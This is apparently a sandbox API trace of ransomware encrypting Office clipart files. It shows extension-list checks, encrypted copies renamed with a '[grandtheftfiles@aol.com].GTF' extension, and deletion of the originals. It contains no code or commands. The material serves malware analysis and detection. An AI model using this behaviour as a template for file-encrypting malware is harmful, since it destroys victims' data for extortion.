	[0180.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF") returned 68
	[0180.012] lstrlenW (lpString=".zip") returned 4
	[0180.012] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.012] lstrlenW (lpString=".rar") returned 4
	[0180.012] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.012] lstrlenW (lpString=".bz2") returned 4
	[0180.013] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.013] lstrlenW (lpString=".7z") returned 3
	[0180.013] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF") returned 68
	[0180.013] lstrlenW (lpString=".dbf") returned 4
	[0180.013] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF") returned 68
	[0180.013] lstrlenW (lpString=".1cd") returned 4
	[0180.013] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF") returned 68
	[0180.013] lstrlenW (lpString=".jpg") returned 4
	[0180.013] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.013] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0180.013] lstrlenW (lpString="J0174952.JPG") returned 12
	[0180.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174952.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0180.233] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=24982) returned 1
	[0180.233] CloseHandle (hObject=0x560) returned 1
	[0180.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174952.jpg")) returned 0x220
	[0180.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174952.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0180.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174952.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0180.460] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.460] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174952.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0180.461] GetLastError () returned 0x0
	[0180.461] ReadFile (in: hFile=0x544, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x6196, lpOverlapped=0x0) returned 1
	[0180.464] WriteFile (in: hFile=0x568, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x61a0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x61a0, lpOverlapped=0x0) returned 1
	[0180.469] ReadFile (in: hFile=0x544, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.469] WriteFile (in: hFile=0x568, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.469] SetEndOfFile (hFile=0x568) returned 1
	[0180.469] CloseHandle (hObject=0x568) returned 1
	[0180.469] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.469] SetEndOfFile (hFile=0x544) returned 1
	[0180.472] CloseHandle (hObject=0x544) returned 1
	[0180.472] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0180.472] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174952.jpg")) returned 1
	[0180.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG") returned 68
	[0180.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG") returned 68
	[0180.473] lstrlenW (lpString=".doc") returned 4
	[0180.473] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0180.473] lstrlenW (lpString=".docx") returned 5
	[0180.473] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0180.473] lstrlenW (lpString=".pdf") returned 4
	[0180.473] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0180.473] lstrlenW (lpString=".xls") returned 4
	[0180.473] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0180.473] lstrlenW (lpString=".xlsx") returned 5
	[0180.473] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0180.473] lstrlenW (lpString=".ppt") returned 4
	[0180.473] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0180.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG") returned 68
	[0180.473] lstrlenW (lpString=".zip") returned 4
	[0180.473] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0180.473] lstrlenW (lpString=".rar") returned 4
	[0180.474] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0180.474] lstrlenW (lpString=".bz2") returned 4
	[0180.474] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0180.474] lstrlenW (lpString=".7z") returned 3
	[0180.474] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0180.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG") returned 68
	[0180.474] lstrlenW (lpString=".dbf") returned 4
	[0180.474] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0180.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG") returned 68
	[0180.474] lstrlenW (lpString=".1cd") returned 4
	[0180.474] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0180.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG") returned 68
	[0180.474] lstrlenW (lpString=".jpg") returned 4
	[0180.474] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0180.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG") returned 68
	[0180.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG") returned 68
	[0180.474] lstrlenW (lpString=".doc") returned 4
	[0180.474] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0180.474] lstrlenW (lpString=".docx") returned 5
	[0180.474] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0180.474] lstrlenW (lpString=".pdf") returned 4
	[0180.474] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0180.474] lstrlenW (lpString=".xls") returned 4
	[0180.474] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0180.474] lstrlenW (lpString=".xlsx") returned 5
	[0180.474] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0180.474] lstrlenW (lpString=".ppt") returned 4
	[0180.474] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0180.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG") returned 68
	[0180.474] lstrlenW (lpString=".zip") returned 4
	[0180.474] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0180.474] lstrlenW (lpString=".rar") returned 4
	[0180.475] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0180.475] lstrlenW (lpString=".bz2") returned 4
	[0180.475] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0180.475] lstrlenW (lpString=".7z") returned 3
	[0180.475] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0180.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG") returned 68
	[0180.475] lstrlenW (lpString=".dbf") returned 4
	[0180.475] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0180.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG") returned 68
	[0180.475] lstrlenW (lpString=".1cd") returned 4
	[0180.475] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0180.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG") returned 68
	[0180.475] lstrlenW (lpString=".jpg") returned 4
	[0180.475] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0180.475] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0180.475] lstrlenW (lpString="J0177806.JPG") returned 12
	[0180.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177806.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0180.476] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=55554) returned 1
	[0180.476] CloseHandle (hObject=0x544) returned 1
	[0180.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177806.jpg")) returned 0x220
	[0180.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177806.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0180.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177806.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0180.476] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.476] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177806.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0180.477] GetLastError () returned 0x0
	[0180.477] ReadFile (in: hFile=0x544, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0xd902, lpOverlapped=0x0) returned 1
	[0180.480] WriteFile (in: hFile=0x568, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xd910, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xd910, lpOverlapped=0x0) returned 1
	[0180.482] ReadFile (in: hFile=0x544, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.482] WriteFile (in: hFile=0x568, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.482] SetEndOfFile (hFile=0x568) returned 1
	[0180.482] CloseHandle (hObject=0x568) returned 1
	[0180.482] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.482] SetEndOfFile (hFile=0x544) returned 1
	[0180.485] CloseHandle (hObject=0x544) returned 1
	[0180.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0180.486] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177806.jpg")) returned 1
	[0180.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG") returned 68
	[0180.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG") returned 68
	[0180.487] lstrlenW (lpString=".doc") returned 4
	[0180.487] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0180.487] lstrlenW (lpString=".docx") returned 5
	[0180.487] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1
	[0180.487] lstrlenW (lpString=".pdf") returned 4
	[0180.487] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0180.487] lstrlenW (lpString=".xls") returned 4
	[0180.487] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0180.487] lstrlenW (lpString=".xlsx") returned 5
	[0180.487] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1
	[0180.487] lstrlenW (lpString=".ppt") returned 4
	[0180.487] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0180.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG") returned 68
	[0180.487] lstrlenW (lpString=".zip") returned 4
	[0180.487] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0180.487] lstrlenW (lpString=".rar") returned 4
	[0180.487] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0180.488] lstrlenW (lpString=".bz2") returned 4
	[0180.488] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0180.488] lstrlenW (lpString=".7z") returned 3
	[0180.488] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0180.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG") returned 68
	[0180.488] lstrlenW (lpString=".dbf") returned 4
	[0180.488] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0180.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG") returned 68
	[0180.488] lstrlenW (lpString=".1cd") returned 4
	[0180.488] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0180.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG") returned 68
	[0180.488] lstrlenW (lpString=".jpg") returned 4
	[0180.488] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0180.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG") returned 68
	[0180.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG") returned 68
	[0180.488] lstrlenW (lpString=".doc") returned 4
	[0180.488] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0180.488] lstrlenW (lpString=".docx") returned 5
	[0180.488] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1
	[0180.488] lstrlenW (lpString=".pdf") returned 4
	[0180.488] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0180.488] lstrlenW (lpString=".xls") returned 4
	[0180.488] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0180.488] lstrlenW (lpString=".xlsx") returned 5
	[0180.488] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1
	[0180.488] lstrlenW (lpString=".ppt") returned 4
	[0180.488] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0180.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG") returned 68
	[0180.488] lstrlenW (lpString=".zip") returned 4
	[0180.488] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0180.488] lstrlenW (lpString=".rar") returned 4
	[0180.488] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0180.488] lstrlenW (lpString=".bz2") returned 4
	[0180.488] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0180.489] lstrlenW (lpString=".7z") returned 3
	[0180.489] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0180.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG") returned 68
	[0180.489] lstrlenW (lpString=".dbf") returned 4
	[0180.489] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0180.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG") returned 68
	[0180.489] lstrlenW (lpString=".1cd") returned 4
	[0180.489] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0180.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG") returned 68
	[0180.489] lstrlenW (lpString=".jpg") returned 4
	[0180.489] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0180.489] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0180.489] lstrlenW (lpString="J0178348.JPG") returned 12
	[0180.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178348.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0180.490] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=36989) returned 1
	[0180.490] CloseHandle (hObject=0x544) returned 1
	[0180.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178348.jpg")) returned 0x220
	[0180.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178348.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0180.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178348.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0180.490] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.490] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178348.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0180.491] GetLastError () returned 0x0
	[0180.491] ReadFile (in: hFile=0x544, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x907d, lpOverlapped=0x0) returned 1
	[0180.926] WriteFile (in: hFile=0x568, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x9080, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x9080, lpOverlapped=0x0) returned 1
	[0180.937] ReadFile (in: hFile=0x544, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.937] WriteFile (in: hFile=0x568, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.938] SetEndOfFile (hFile=0x568) returned 1
	[0180.938] CloseHandle (hObject=0x568) returned 1
	[0180.938] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.938] SetEndOfFile (hFile=0x544) returned 1
	[0180.941] CloseHandle (hObject=0x544) returned 1
	[0180.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.019] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178348.jpg")) returned 1
	[0181.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68
	[0181.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68
	[0181.317] lstrlenW (lpString=".doc") returned 4
	[0181.317] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0181.317] lstrlenW (lpString=".docx") returned 5
	[0181.317] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0181.317] lstrlenW (lpString=".pdf") returned 4
	[0181.317] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0181.318] lstrlenW (lpString=".xls") returned 4
	[0181.318] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0181.318] lstrlenW (lpString=".xlsx") returned 5
	[0181.318] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0181.318] lstrlenW (lpString=".ppt") returned 4
	[0181.318] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0181.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68
	[0181.318] lstrlenW (lpString=".zip") returned 4
	[0181.318] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0181.318] lstrlenW (lpString=".rar") returned 4
	[0181.318] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0181.318] lstrlenW (lpString=".bz2") returned 4
	[0181.318] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0181.318] lstrlenW (lpString=".7z") returned 3
	[0181.318] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0181.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68
	[0181.318] lstrlenW (lpString=".dbf") returned 4
	[0181.318] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0181.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68
	[0181.318] lstrlenW (lpString=".1cd") returned 4
	[0181.318] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0181.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68
	[0181.318] lstrlenW (lpString=".jpg") returned 4
	[0181.318] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0181.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68
	[0181.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG") returned 68
	[0181.318] lstrlenW (lpString=".doc") returned 4
	[0181.318] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0181.318] lstrlenW (lpString=".docx") returned 5
	[0181.318] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0181.318] lstrlenW (lpString=".pdf") returned 4
	[0181.318] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0181.318] lstrlenW (lpString=".xls") returned 4
	[0181.318] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0181.318] lstrlenW (lpString=".xlsx") returned 5
	[0181.318] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0181.319] lstrlenW (lpString=".ppt") returned 4
	[0181.319] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
